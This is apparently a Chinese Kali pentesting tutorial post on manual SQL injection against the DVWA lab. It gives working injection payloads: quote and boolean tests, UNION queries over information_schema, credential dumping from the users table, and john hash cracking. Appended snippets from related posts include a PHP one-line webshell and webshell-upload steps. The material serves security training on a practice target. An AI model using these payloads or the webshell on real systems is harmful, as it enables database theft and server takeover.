小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一)

SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。【SQL注入原理

##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器

用户登录判断

SELECT * FROM users WHERE user=‘uname‘ AND password=‘pass‘
SELECT * FROM users WHERE user=‘name‘ AND password=‘‘ OR ‘‘=‘‘  【OR:逻辑运算符,(password假)‘‘或‘‘(‘1‘=‘1‘真)】

SQL注入存在位置

表单、GET方式的URL

SQL检测方法

1、基于报错的检测方法(low)

‘    (单引号)

‘‘  (尝试两个单引号)【结果:两两闭合】

#‘a"b  (单引号+a+双引号+b)

#‘a"b‘ (单引号+a+双引号+b+‘)

则证明可以构造复杂的SQL语句进行注入

"

%

()

 2、基于布尔的检测

First:   1‘ and ‘1‘=‘1    等于 1‘ and ‘1            【猜测语句:select first_name,surname from users where id=‘  1‘ and ‘1‘=‘1 ‘  】

Second:  1‘ and ‘1‘=‘2       等于  1‘ and ‘0      【若无返回结果,则可验证上猜测语句】

 3、表列数/显示信息位于哪一列

‘ order by  9-- (单引号+order by +空格+ 数字【该数字用于指定字段,可以填大而后猜确切列数】+ --+空格一定要注意有空格,否则会语法错误  --:为注释】)

 构造select语句

 4、联合查询【为了在过滤的单引号后面,再运行查询语句】

union与union all 作用基本完全相同

First:‘ union select 1,2--                     【确定查询后结果在页面中出现位置】

Second:1‘ union select user(),2--              【1替换成一个数据库默认函数user() 查询数据库用户】

‘ union select user(),version()--        【将2替换成函数version() 查询版本】

 database()   查询数据库名称

全局函数:@@datadir    查询数据库的文件位置

@@hostname   查询主机名

@@version_compile_os   查询操作系统版本

 

 构造复杂的SQL语句

‘ union select database(),substring_index(USER(),"@",1)--

为方便查看指令,使用火狐插件hackbug,使用F9调出

绕过一些过滤不严的机制

CHAR()       将ASCII码转换为对应字符

连接字符

 CONCAT_WS()                       将多个函数连接在一起   

 计算MD5 【可用于使用别人的服务器资源来为自己做大量的数据运算】

了解数据库的数据结构

MySQL:所有的元数据都保存在一张元数据表【information_schema】

1、查看所有库所有表/统计库中表的数量

‘ union select table_name,table_schema from information_schema.tables--+     [所有库所有表]

‘ UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --  [统计每个库中表的数量]

2、 Dvwa库中的表名   【一个参数漏洞,也可造成拖库】

‘ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa‘--+     【通过表名猜测账号密码存放位置】

3、查询users表中所有的列(user_id、first_name、last_name、user、password、avatar)

 ‘ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘--+

4、查询user、password列中的内容 

‘ union select user,password from dvwa.users--+

‘ union select user,password from users--+

‘ union select null, concat(user,0x3a,password) from users--+   【concat:连接,需指定分隔符】

5、密码破解

猜测密码算法:hash-identifier

username:passhash ——> dvwa.txt    【将账号:密码整理成一个文本文件】

工具:
john --format=raw-MD5 dvwa.txt

时间: 2024-11-04 21:41:27

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)的相关文章

小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少与目标系统交互] Httrack:将WEB可下载的页面下载到本机,再进行本地检查[kali下安装] ##可到此网站获取代理:hidemyass.com[免费代理需小心] 扫描工具-Nikto #基于WEB的扫描工具,基本都支持两种扫描模式.代理截断模式,主动扫描模式 手动扫描:作为用户操作发现页面存

小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头. 优点:速度比较快[多路单线程,全异步网络I/O,消除内存管理和调度开销,支持启发式自动内容识别],误报相对低 使用方式:[https://my.oschina.net/u/995648/blog/114321] 基本命令使用方式 skipfish -o test http:1.1.1.1  

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页面部分内容,而非整个页面 降低带宽使用,提高速度 提升用户体验 后台异步访问 AJAX组件 Javascript:AJAX的核心组件,使用XMLHTTPRequest对象接口向服务器发起请求,接受并处理服务器响应数据 Dynamic HTML (DHTML) 早于AJAX出现,通过javascrip

小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其他子目录也会被爬到[右键,Add Scope] #爬网参数设置 ###爬到页面中仍需要身份认证的页面,需重复输入,也可以忽略. #可导出 #################################################################### burpsuite支持两

小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/www/]之外的其他操作系统文件(如:/etc/passwd/).形成根源:目录权限限制不严格 #File include文件包含[1.include本地文件包含LFI:2.远程系统文件包含RFI(可传入木马)] 通常为如include函数,可以将web根目录以外的目录包含进来.根源:include

小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行. 漏洞类型--远程命令执行 1.phpMyadmin 安装在web服务器中的web接口,专门用来管理MySQL数据库.对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup. a.探索PHP网站(可根据b

小白日记32:kali渗透测试之Web渗透-扫描工具-QWASP_ZAP

扫描工具-QWASP_ZAP 十大安全工具之一,集成性工具,功能完善,而且强大.既可做主动扫描,也可做截断代理.开源免费跨平台,简单易用,体验相对混乱,但在主动扫描方面,相对占优.[kali集成] ####建议选择第二项 ####注意检查更新 更新与插件安装 安装插件release和beta[release:成熟版  beta:测试版  alpha:不成熟版] 截断代理[结合手动爬网] 默认情况下,代理功能自启动 1.启动浏览器代理 2. 2.主动扫描 一.快速爬网扫描 二.直接扫描爬到的内容

小白日记31:kali渗透测试之Web渗透-扫描工具-Arachni

扫描工具-Arachni Kali中集成旧的arachni的阉割版,所以需要重新安装[在某些方面有其独特性,但不算很强大,有命令行和web两种使用方式][匿名者推荐] apt-get update http://www.arachni-scanner.com/download/#Linux tar xvf arachni.tar.gz ./arachni_console          #进入命令行模式 ./arachni_web               #启用web服务,进入web操作模